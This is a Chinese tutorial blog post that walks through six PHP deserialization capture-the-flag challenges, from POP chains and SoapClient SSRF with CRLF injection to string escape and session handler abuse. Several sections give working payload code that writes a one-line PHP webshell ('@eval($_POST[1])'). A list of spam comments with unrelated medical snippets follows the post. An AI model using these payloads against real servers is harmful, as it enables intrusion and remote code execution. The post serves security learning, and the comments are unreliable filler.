您的位置 首页 php

反序列化的那些事儿

0×00:前言

各种CTF比赛随处可见反序列化的影子,让我们来了解一下!

阅读本文,需要了解PHP中类的基础知识

0×01:正文

了解反序列化,必先了解其魔法函数

  1. __sleep() //在对象被序列化之前运行
 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
 3. __construct() //当对象被创建时,会触发进行初始化
 4. __destruct() //对象被销毁时触发
 5. __toString()://当一个对象被当作字符串使用时触发
 6. __call() //在对象上下文中调用不可访问的方法时触发
 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
 9. __set() //用于将数据写入不可访问的属性
 10. __isset() //在不可访问的属性上调用isset()或empty()触发
 11. __unset() //在不可访问的属性上使用unset()时触发
 12. __toString() //把类当作字符串使用时触发
 13. __invoke() //当脚本尝试将对象调用为函数时触发  

然后了解其属性

  序列化 对象:
private变量会被序列化为:x00类名x00变量名
protected变量会被序列化为: x00*x00变量名
public变量会被序列化为:变量名  

让我们跟随CTF题目,来感受反序列化独有的的”魅力”

01

 error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public function checkVip(){
    return $this->isVip;
 }
  public function login($u,$p){
return $this->username===$u&&$this->password===$p;
 }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
   }else{
      echo "no vip, no flag";
   }
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_ cookie ['user']);  
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
   }
 }else{
    echo "no vip,no flag";
 }
}  

通读代码

$username&&$password存在进入反序列化 $_COOKIE[‘user’]

(cookie为可控字段)

随后便调用了login方法

  public function login($u,$p){
         return $this->username===$u&&$this->password===$p;  

只有类中$username和$password等于我们传入的值 ,即可返回true

进入第二个if 调用了checkVip方法

  public function checkVip(){
         return $this->isVip;
      }  

这里定义类中isVip属性为true即可

便调用了其vipOneKeyGetFlag方法 echo除了flag

思路来了,构造payload

  <?
 class ctfShowUser{
        public $isVip=true;
        public $username='a';
        public $password='a';
 }
 $o=new ctfShowUser();
 echo serialize($o);
 ?>  

?username=a&passowrd=a

cookie便传值我们构造出的payload

02

 class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __construct(){
    $this->class=new info();
 }
  public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
 }
  public function __destruct(){
    $this->class->getInfo();
 }
}
class info{
  private $user='xxxxxx';
  public function getInfo(){
    return $this->user;
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}  

看到这么长的代码,我们可以简化一下

众所周知反序列化找的就是魔法函数

 class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __destruct(){
    $this->class->getInfo();
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}  

思路

$username和$password存在进入反序列化

backDoor类里边有eval危险函数,我们要将其利用

看到__destruct函数,当类反序列化结束销毁时会将其调用

    public function __destruct(){
         $this->class->getInfo();
      }  

看到里边正好有getInfo()函数

我们只需要将$this->class=new backDoor()就可以调用backDoor类中的getInfo()函数 进行eval利用

故构造payload

 <?
class ctfShowUser{
  private $class;
  public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
  private $code;
  public function __construct(){
  $this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
 }
}
$o=new ctfShowUser();
echo  urlencode (serialize($o));
?>  

?username=xxx&password=xxx

cookie:user=传我们构造的payload即可写入一句话木马

03 原生类利用

 <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}  

访问flag.php需要

X_FORWARDED_FOR===127.0.0.1,127.0.0.1

由于用了CF代理不能构造X_FORWARDED_FOR

故只能用 Soap Client原生类来进行SSRF请求

那什么叫SoapClient类呢?

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息)来触发__call方法,再利用一个CRLF注入进行post传输构造SSRF请求

那什么叫CRLF注入呢?

贴上大佬链接CRLF

故构造payload

  <?php
 $payload= array(
            'user_agent' => "Flowers_BeiChengrnx-forwarded-
 for:127.0.0.1,127.0.0.1rnContent-type:application/x-www-form-
 urlencodedrnContent-length:13rnrntoken=ctfshow",
            'uri' => 'Flowers_BeiCheng',
            'location' => '#39;
         )
 $a = new SoapClient(null,$payload);
 $o = serialize($a);
 echo urlencode($o);  

04

 class ctfshowvip{
  public $username;
  public $password;
  public $code;
public function __wakeup(){
  if($this->username!='' || $this->password!=''){
    die('error');
 }
}
public function __invoke(){
   eval ($this->code);
}
public function __sleep(){
  $this->username='';
  $this->password='';
}
public function __unserialize($data){
  $this->username=$data['username'];
  $this->password=$data['password'];
  $this->code = $this->username.$this->password;
}
public function __destruct(){
  if($this->code==0x36d){
    file_put_contents($this->username, $this->password);
 }
}
}
unserialize($_GET['vip']);  

__unserialize和__wake同时存在,则__unserialize生效 __wake失效

通读代码

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)

$this->code和0x36d会转换为数字进行比较 0x36d==877

故构造payload

 <?php
class ctfshowvip{
  public $username;
  public $password;
  public function __construct(){
    $this->username='877.php';
    $this->password='<?php @eval($_POST[1]);?>';
 }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>  

05 字符串逃逸

 error_reporting(0);
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}
highlight_file(__FILE__);  

根据提示还有个message.php

 highlight_file(__FILE__);
include('flag.php');
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
 $this->to = $t;
 }
}
if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
    echo $flag;
 }
}  

触发点在message.php

我们要让$ msg ->token==’admin’,

 class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];  

可以看到控制不了$token 可以控制$from $msg $to

传一个正常反序列化内容

 O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}  

我们需要构造这样的反序列化内容

  O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}  

这时候就要传入

  ";s:5:"token";s:5:"admin";} //27个字符  

传入的内容需要逃逸出来

  if(isset($f) && isset($m) && isset($t)){
     $msg = new message($f,$m,$t);
     $umsg = str_replace('fuck', 'loveU', serialize($msg));
     setcookie('msg',base64_encode($umsg));
     echo 'Your message has been sent';
 }  

fuck变成loveU 四个字符变成五个字符

每次变多一个,一共需要27个字符

构造payload

 f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
 ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}  

06 Session 反序列化

反序列化处理器

 | 处理器           | 对应的存储格式                    
   |
| ------------------------- | :-------------------------------------------------
---------- |
| php            | 键名+竖线+经过serialize()函数反序列化处理的值     
   |
| php_binary         | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列
化处理的值 |
| php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组         
   |
#### 安全问题
如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法
正确反序列化,通过特殊的构造,甚至可以伪造任意数据
session.auto_start=On
当配置选项session.auto_start=On,会自动注册 SESSION 会话,因为该过程是发生在脚本代码执行前,所
以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在 脚本 中
设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置
需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与
 php.ini 中设置的不同,就会出现安全问题  

访问/www.zip下载源码

通读代码

index.php

反序列化的那些事儿

17行,$_SESSION[‘limit’]首先是为空 通过后面的$_COOKIE[‘limit’]便可以控制$_SESSION[‘limit’]

如果无法控制,利用PHP_SESSION_UPLOAD_PROGRESS来控制session内容

查看check.php

发现包含了inc/inc.php

反序列化的那些事儿

跟进inc/inc.php

反序列化的那些事儿

默认配置为php进行反序列化的

那php反序列化什么样的呢?

键名+竖线+经过serialize()函数反序列化处理的值

只有 | 后面的内容才会被反序列化

漏洞关键位置

反序列化的那些事儿

发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell

思路

  • 前提:由于php.ini默认配置为php_serialize
  • 利用index.php控制SESSION文件写入SESSION为序列化后的内容
  • 再利用check.php触发反序列化( 触发|后面序列化后的内容 )

故构造payload

  class User{
     public $username;
     public $password;
     function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
 }
 }
 $o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
 echo base64_encode('|'.serialize($o));  

访问index.php改cookie limit为payload 再次访问写入

访问check.php触发

最后访问log-huahua.php

成功写入

反序列化的那些事儿

0×02:总结

介绍了这么多,相信大家已经对反序列化有了初步的了解

要学会尝试构造POP链复现TP Yii等框架的链子哦

文章来源:智云一二三科技

文章标题:反序列化的那些事儿

文章地址:https://www.zhihuclub.com/78360.shtml

关于作者: 智云科技

热门文章

评论已关闭

31条评论

  1. Viagra Online Purcheses Exposure to radiation immunosuppressive agents and certain toxins are known risk factors for development of myelodysplastic syndromes.

  2. Outcome EFS and OS At 36 month follow up, the dose dense regimen improved the primary end point DFS HR, 0

  3. PUBMED Abstract Giordano SH, Hortobagyi GN Leuprolide acetate plus aromatase inhibition for male breast cancer

  4. In this respect, Japanese node negative breast cancer patients might be treated somewhat differently from white counterparts with regard to adjuvant chemotherapy 4 SRC 3 AIB1 0

  5. ERBB2 Neu induced breast cancer cells with increased expression of PGC 1О± О± 1 Several recent papers have converged on the notion that ACC, the immediate product of ACC synthase

  6. Second, it uses book format to publicize hard to find pro plant based studies rather than utilizing other forms of technology

  7. In fact, in one study, a small group of people with hyperthyroidism saw these symptoms improve, and their body temperature become normal, when taking carnitine

  8. Narongroeknawin P, Danila MI, Humphreys LG Jr, Barasch A, Curtis JR The company said in September it had altered itsstrategy to get approval for the project, which will delay theproject by at least a year

  9. MAIN NEGATIVE for the first 2 weeks of Epiduo, your skin will be red, raw, peeling, dry and just generally so painful honestly getting through this period is difficult but my main advice is to apply ONLY A PEA SIZED AMOUNT

  10. There is no evidence that vaccinating a positive animal will either help clear the disease faster and or help prevent them being infected again

  11. I tend to think of these areas as second tier attractions, not that they would be less interesting to visit, but simply that they would be less well known

  12. The involvement of tyrosine kinase signaling in promoting a more aggressive tumor phenotype within the context of chemotherapeutic evasion is gaining recognition

  13. CrossRef PubMed Carty NJ, Carter C, Rubin C, Ravichandran D, Royle GT, Taylor I HCJ NC Update Medicare Anniversary Event on Monday and more

  14. 7 First, the patient must show a preoccupation and excessive concern with an imagined defect, or a defect that is slight and unnoticeable at normal conversational distance

  15. According to the American Academy of Allergy, Asthma, and Immunology, there are rare cases of seaweed allergy

  16. One hundred microliter of cell suspensions of varying concentrations in cold PBS were injected per tumor to determine tumor forming capacity and tumor growth kinetics in the context of gene knockdown E 510 E 510 FEMA NO

  17. No significant difference was found between the two types of sleep studies regarding sleep study parameters The 1, 5, and 20 mg tamoxifen citrate tablets were a generous gift from Laboratori MAG Milan, Italy; Food and Drug Administration drug master file number 6735

  18. Truth be told, like anyone in a recovery mode, I need to take anger one day at a time and work on it constantly

网站地图